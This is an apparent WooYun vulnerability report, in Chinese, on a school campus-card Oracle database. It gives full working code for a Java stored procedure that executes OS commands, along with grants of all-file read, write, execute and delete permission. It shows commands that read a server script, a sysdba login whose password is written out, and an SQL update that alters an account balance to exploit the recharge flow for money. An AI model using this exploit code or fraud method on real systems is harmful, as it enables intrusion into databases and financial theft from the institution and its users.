WooYun.org

Oracle没有禁用JAVA扩展，通过之前爆出的iddbuser登陆
执行
create or replace and compile java source named runcmd as
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class RunCmd
{
private static void copyStream(InputStream inputStream, OutputStream outStream,String type) throws IOException {
byte[] bytes = new byte[1024];
int len = 0;
System.out.println("========"+type+"========");
while ( (len = inputStream.read(bytes)) != -1)
{
System.out.println(new String(bytes,0,len));
outStream.write(bytes,0,len);
}
}
public static void exec(String cmd)
{
try {
Process pc = Runtime.getRuntime().exec(cmd);
copyStream(pc.getInputStream(), System.out,"InputStream()");
copyStream(pc.getErrorStream(), System.out,"ErrorStream()");
} catch (IOException e) {
e.printStackTrace();
}
}
};
CREATE OR REPLACE PROCEDURE SP_RUNCMD
(cmd string)
as language java name 'RunCmd.exec(java.lang.String)';
begin
Dbms_Java.Grant_Permission('IDDBUSER', 'java.io.FilePermission', '<<ALL FILE>>', 'read ,write, execute, delete');
dbms_java.grant_permission('IDDBUSER','java.lang.RuntimePermission','*','writeFileDescriptor' );
end;
然后使用sqlplus
set serveroutput on;
call dbms_java.set_output(5000);
exec sp_runcmd('cat /home/oracle/expdp_auto.sh');

passwd 文件也可以读取

执行connect sys/xZHONGx2014@ecard as sysdba
select * from school.account where NAME='XXX'
update school.account set PRETMPBALANCE='7000' where NAME='XXX'

之后使用充值网站充值
这是我的充值记录

以及我现在的余额

点击充值后

显示充值失败，我的银行卡显示一比交易被支出并且再次收入

这时再把数据库里的改动改回来，过会后，刚才失败的充值依旧到账了^^

再次查看订单记录，已支付里没有该项记录，但是未成功里有